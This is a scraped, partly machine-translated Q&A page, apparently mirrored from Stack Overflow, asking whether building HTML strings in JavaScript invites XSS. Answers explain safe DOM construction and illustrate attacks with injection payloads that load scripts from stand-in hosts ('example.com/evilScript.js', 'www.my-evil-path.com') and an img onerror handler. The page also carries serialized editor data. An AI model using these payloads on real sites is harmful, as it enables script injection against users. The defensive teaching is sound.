blocks|key|142993|text|如果以某种方式修改了this.au，它可能包含以下内容：|type|unstyled|depth|inlineStyleRanges|offset|length|style|CODE|entityRanges|data|142994|"><script+src="http://example.com/evilScript.js"></script><span+class="|code-block|syntax|javascript|142995|这会弄乱你的HTML并注入一个脚本：|142996|<a+class="quiz-au"+data-src=""><script+src="http://example.com/evilScript.js"></script><span+class=""><span+class="quiz-au-icon">Click+to+play</a>|142997|如果使用DOM操作来设置src属性，脚本(或您使用的任何其他XSS+)将不会被执行，因为它将被DOM正确地转义。|142998|142999|对于一些评论员说如果有人可以修改this.au，他们肯定可以自己运行脚本:我不知道this.au是从哪里来的，也不是特别相关。它可能是来自数据库的值，并且数据库可能已被破坏。这也可能是恶意用户试图为其他用户搞砸事情。它甚至可能是一个无辜的非技术人员，他们没有意识到编写"def"+>+"abc"会毁掉一些东西。|143000|143001|还有一件事。在您提供的代码中，var+quizAuLink+=+$(+'a'+);不会创建新的<a>元素。它只会选择所有现有的。您需要使用var+quizAuLink+=+$(+'<a>'+);来创建一个新的。|143002|entityMap^0|A|7|0|0|0|0|C|3|0|0|G|7|15|7|3Q|D|0|0|F|Q|1B|3|1X|S|0^^$0|@$1|2|3|4|5|6|7|Y|8|@$9|Z|A|10|B|C]]|D|@]|E|$]]|$1|F|3|G|5|H|7|11|8|@]|D|@]|E|$I|J]]|$1|K|3|L|5|6|7|12|8|@]|D|@]|E|$]]|$1|M|3|N|5|H|7|13|8|@]|D|@]|E|$I|J]]|$1|O|3|P|5|6|7|14|8|@$9|15|A|16|B|C]]|D|@]|E|$]]|$1|Q|3|-4|5|6|7|17|8|@]|D|@]|E|$]]|$1|R|3|S|5|6|7|18|8|@$9|19|A|1A|B|C]|$9|1B|A|1C|B|C]|$9|1D|A|1E|B|C]]|D|@]|E|$]]|$1|T|3|-4|5|6|7|1F|8|@]|D|@]|E|$]]|$1|U|3|V|5|6|7|1G|8|@$9|1H|A|1I|B|C]|$9|1J|A|1K|B|C]|$9|1L|A|1M|B|C]]|D|@]|E|$]]|$1|W|3|-4|5|6|7|1N|8|@]|D|@]|E|$]]]|X|$]]

If <code>this.au</code> is somehow modified, it might contain something like this:

<pre class="lang-none prettyprint-override"><code>"&gt;&lt;script src="http://example.com/evilScript.js"&gt;&lt;/script&gt;&lt;span class="
</code></pre>

That'll mess up your HTML and inject a script:

<pre><code>&lt;a class="quiz-au" data-src=""&gt;&lt;script src="http://example.com/evilScript.js"&gt;&lt;/script&gt;&lt;span class=""&gt;&lt;span class="quiz-au-icon"&gt;&lt;/span&gt;Click to play&lt;/a&gt;
</code></pre>

If you use DOM manipulation to set the <code>src</code> attribute, the script (or whatever other XSS you use) won't be executed, as it'll be properly escaped by the DOM API.

<hr>

In response to some commentators who are saying that if someone could modify <code>this.au</code>, surely they could run the script on their own: I don't know where <code>this.au</code> is coming from, nor is it particularly relevant. It could be a value from the database, and the DB might have been compromised. It could also be a malicious user trying to mess things up for other users. It could even be an innocent non-techie who didn't realize that writing <code>"def" &gt; "abc"</code> would destroy things.

<hr>

One more thing. In the code you provided, <code>var quizAuLink = $( 'a' );</code> will not create a new <code>&lt;a&gt;</code> element. It'll just select all the existing ones. You need to use <code>var quizAuLink = $( '&lt;a&gt;' );</code> to create a new one.

blocks|key|143004|text|由于您不能使用.innerHTML在现代浏览器中注入脚本标记，因此您需要侦听一个事件：|type|unstyled|depth|inlineStyleRanges|offset|length|style|CODE|entityRanges|data|143005|如果以某种方式修改了this.au，它可能包含以下内容：|143006|"><img+src="broken-path.png"+onerror="alert('my+injection');"><span+class="|code-block|syntax|javascript|143007|这会弄乱你的HTML并注入一个脚本：|143008|<a+class="quiz-au"+data-src=""><img+src="broken-path.png"+onload="alert('my+injection')"><span+class=""><span+class="quiz-au-icon">Click+to+play</a>|143009|当然也要运行更大的JavaScript+set+onerror来：|143010|var+d+=+document;+s+=+d.createElement('script');+s.type='text/javascript';+s.src+=+'www.my-evil-path.com';+d.body.appendChild(s);|143011|感谢Scimoster的样板|143012|entityMap^0|7|A|0|A|7|0|0|0|0|0|0|0^^$0|@$1|2|3|4|5|6|7|Y|8|@$9|Z|A|10|B|C]]|D|@]|E|$]]|$1|F|3|G|5|6|7|11|8|@$9|12|A|13|B|C]]|D|@]|E|$]]|$1|H|3|I|5|J|7|14|8|@]|D|@]|E|$K|L]]|$1|M|3|N|5|6|7|15|8|@]|D|@]|E|$]]|$1|O|3|P|5|J|7|16|8|@]|D|@]|E|$K|L]]|$1|Q|3|R|5|6|7|17|8|@]|D|@]|E|$]]|$1|S|3|T|5|J|7|18|8|@]|D|@]|E|$K|L]]|$1|U|3|V|5|6|7|19|8|@]|D|@]|E|$]]|$1|W|3|-4|5|6|7|1A|8|@]|D|@]|E|$]]]|X|$]]

As you cannot inject script tags in modern browsers using <code>.innerHTML</code> you will need to listen to an event:

If <code>this.au</code> is somehow modified, it might contain something like this:

<pre class="lang-none prettyprint-override"><code>"&gt;&lt;img src="broken-path.png" onerror="alert('my injection');"&gt;&lt;span class="
</code></pre>

That'll mess up your HTML and inject a script:

<pre><code>&lt;a class="quiz-au" data-src=""&gt;&lt;img src="broken-path.png" onload="alert('my injection')"&gt;&lt;span class=""&gt;&lt;span class="quiz-au-icon"&gt;&lt;/span&gt;Click to play&lt;/a&gt;
</code></pre>

And ofcause to run bigger chunks of JavaScript set onerror to:

<pre><code>var d = document; s = d.createElement('script'); s.type='text/javascript'; s.src = 'www.my-evil-path.com'; d.body.appendChild(s);
</code></pre>

Thanks to Scimoster for the boilerplate

blocks|key|143014|text|这应该是安全的，而不会对可读性造成太大的影响：|type|unstyled|depth|inlineStyleRanges|entityRanges|data|143015|var+link+=+$('<a+class="quiz-au"><span+class="quiz-au-icon">Click+to+play</a>');
link.data("src",+this.au);|code-block|syntax|javascript|143016|关键是要避免使用字符串操作来构建HTML字符串。请注意，在上面的代码中，我只使用了$()来解析一个常量字符串，这个常量字符串会解析成一个众所周知的结果。在本例中，只有this.au部件是危险的，因为它可能包含动态计算的值。|offset|length|style|CODE|143017|entityMap^0|0|0|15|3|2B|7|0^^$0|@$1|2|3|4|5|6|7|O|8|@]|9|@]|A|$]]|$1|B|3|C|5|D|7|P|8|@]|9|@]|A|$E|F]]|$1|G|3|H|5|6|7|Q|8|@$I|R|J|S|K|L]|$I|T|J|U|K|L]]|9|@]|A|$]]|$1|M|3|-4|5|6|7|V|8|@]|9|@]|A|$]]]|N|$]]

This should be just as secure, without compromising too much on readability:

<pre><code>var link = $('&lt;a class="quiz-au"&gt;&lt;span class="quiz-au-icon"&gt;&lt;/span&gt;Click to play&lt;/a&gt;');
link.data("src", this.au);
</code></pre>

The point is to avoid doing string operations to build HTML strings. Note that in above, I used <code>$()</code> only to parse a constant string, which parses to a well known result. In this example, only the <code>this.au</code> part is dangerous because it may contain dynamically calculated values.

blocks|key|2720996|text|抛开安全性不谈，在JavaScript中构建超文本标记语言时，必须确保它是有效的。虽然可以通过字符串操作构建和清理HTML+*，但DOM操作要方便得多。但是，您必须准确地知道字符串的哪一部分是HTML，哪一部分是文字文本。|type|unstyled|depth|inlineStyleRanges|entityRanges|data|2720997|考虑下面的示例，其中我们有两个硬编码的变量：|2720998|var+href+=+"/detail?tag=hr&copy%255B%255D=1",
++++text+=+"The+HTML+<hr>+tag";|code-block|syntax|javascript|2720999|下面的代码很简单地构建了HTML字符串：|2721000|var+div+=+document.createElement("div");
div.innerHTML+=+'<a+href="'+%2B+href+%2B+'">'+%2B+text+%2B+'</a>';
console.log(div.innerHTML);
//+<a+href="/detail?tag=hr©%255B%255D=1">The+HTML+<hr>+tag</a>|2721001|这使用了jQuery，但它仍然是不正确的(它对一个应该是文本的变量使用了.html()+)：|offset|length|style|CODE|2721002|var+div+=+document.createElement("div");
$("<a></a>").attr("href",+href).html(text).appendTo(div);
console.log(div.innerHTML);
//+<a+href="/detail?tag=hr&amp;copy%255B%255D=1">The+HTML+<hr>+tag</a>|2721003|这是正确的，因为它按预期显示文本|2721004|var+div+=+document.createElement("div");
$("<a></a>").attr("href",+href).text(text).appendTo(div);
console.log(div.innerHTML);
//+<a+href="/detail?tag=hr&amp;copy%255B%255D=1">The+HTML+&lt;hr&gt;+tag</a>|2721005|结论:使用DOM+manipulation/jQuery不能保证任何安全性，但它肯定是朝着正确方向迈出的一步。|2721006|2721007|*参见this+question+for+examples。同时讨论了字符串和DOM操作。|2721008|entityMap|0|LINK|mutability|MUTABLE|url|https://stackoverflow.com/q/24816/87015^0|0|0|0|0|0|10|7|0|0|0|0|0|0|3|Q|0|0^^$0|@$1|2|3|4|5|6|7|1B|8|@]|9|@]|A|$]]|$1|B|3|C|5|6|7|1C|8|@]|9|@]|A|$]]|$1|D|3|E|5|F|7|1D|8|@]|9|@]|A|$G|H]]|$1|I|3|J|5|6|7|1E|8|@]|9|@]|A|$]]|$1|K|3|L|5|F|7|1F|8|@]|9|@]|A|$G|H]]|$1|M|3|N|5|6|7|1G|8|@$O|1H|P|1I|Q|R]]|9|@]|A|$]]|$1|S|3|T|5|F|7|1J|8|@]|9|@]|A|$G|H]]|$1|U|3|V|5|6|7|1K|8|@]|9|@]|A|$]]|$1|W|3|X|5|F|7|1L|8|@]|9|@]|A|$G|H]]|$1|Y|3|Z|5|6|7|1M|8|@]|9|@]|A|$]]|$1|10|3|-4|5|6|7|1N|8|@]|9|@]|A|$]]|$1|11|3|12|5|6|7|1O|8|@]|9|@$O|1P|P|1Q|1|1R]]|A|$]]|$1|13|3|-4|5|6|7|1S|8|@]|9|@]|A|$]]]|14|$15|$5|16|17|18|A|$19|1A]]]]

Security aside, when you build HTML in JavaScript you must make sure that it is valid. While it is possible to build and sanitize HTML by string manipulation*, DOM manipulation is far more convenient. Still, you must know exactly which part of your string is HTML and which is literal text.

Consider the following example where we have two hard-coded variables:

<pre><code>var href = "/detail?tag=hr&amp;copy%5B%5D=1",
 text = "The HTML &lt;hr&gt; tag";
</code></pre>

The following code naively builds the HTML string:

<pre><code>var div = document.createElement("div");
div.innerHTML = '&lt;a href="' + href + '"&gt;' + text + '&lt;/a&gt;';
console.log(div.innerHTML);
// &lt;a href="/detail?tag=hr©%5B%5D=1"&gt;The HTML &lt;hr&gt; tag&lt;/a&gt;
</code></pre>

This uses jQuery but it is still incorrect (it uses <code>.html()</code> on a variable that was supposed to be text):

<pre><code>var div = document.createElement("div");
$("&lt;a&gt;&lt;/a&gt;").attr("href", href).html(text).appendTo(div);
console.log(div.innerHTML);
// &lt;a href="/detail?tag=hr&amp;amp;copy%5B%5D=1"&gt;The HTML &lt;hr&gt; tag&lt;/a&gt;
</code></pre>

This is correct because it displays the text as intended:

<pre><code>var div = document.createElement("div");
$("&lt;a&gt;&lt;/a&gt;").attr("href", href).text(text).appendTo(div);
console.log(div.innerHTML);
// &lt;a href="/detail?tag=hr&amp;amp;copy%5B%5D=1"&gt;The HTML &amp;lt;hr&amp;gt; tag&lt;/a&gt;
</code></pre>

Conclusion: Using DOM manipulation/jQuery do not guarantee any security, but it sure is one step in right direction.

<hr>

* See <a href="https://stackoverflow.com/q/24816/87015">this question for examples</a>. Both string and DOM manipulation are discussed.

The company who hosts our site reviews our code before deploying - they've recently told us this:
<blockquote>
HTML strings should never be directly manipulated, as that opens us up to potential XSS holes. Instead, always use a DOM api to create elements...that can be jQuery or the direct DOM apis.
</blockquote>
For example, instead of
<pre class="lang-js prettyprint-override"><code>this.html.push( '&lt;a class=&quot;quiz-au&quot; data-src=&quot;' + this.au + '&quot;&gt;&lt;span class=&quot;quiz-au-icon&quot;&gt;&lt;/span&gt;Click to play&lt;/a&gt;' );
</code></pre>
They tell us to do
<pre class="lang-js prettyprint-override"><code>var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '&lt;span class=&quot;quiz-au-icon&quot;&gt;&lt;/span&gt;' );
</code></pre>
Is this really true? Can anyone give us an example of an XSS attack that could exploit an HTML string like the first one?

Is it really insecure to build HTML strings in Javascript?

数据库

jQuery

托管我们网站的公司在部署之前审查了我们的代码--他们最近告诉我们：XSS字符串永远不应该被直接操作，因为这会给我们带来潜在的漏洞。相反，始终使用DOM创建的elements...that可以是jQuery或直接的DOM。例如，而不是this.html.push( '<a class="quiz-au" data-src...

问在Javascript中构建HTML字符串真的不安全吗？
EN

社区

活动

资源

关于

腾讯云开发者

热门产品

热门推荐

更多推荐

问在Javascript中构建HTML字符串真的不安全吗？EN

社区

活动

资源

关于

腾讯云开发者

热门产品

热门推荐

更多推荐

问在Javascript中构建HTML字符串真的不安全吗？
EN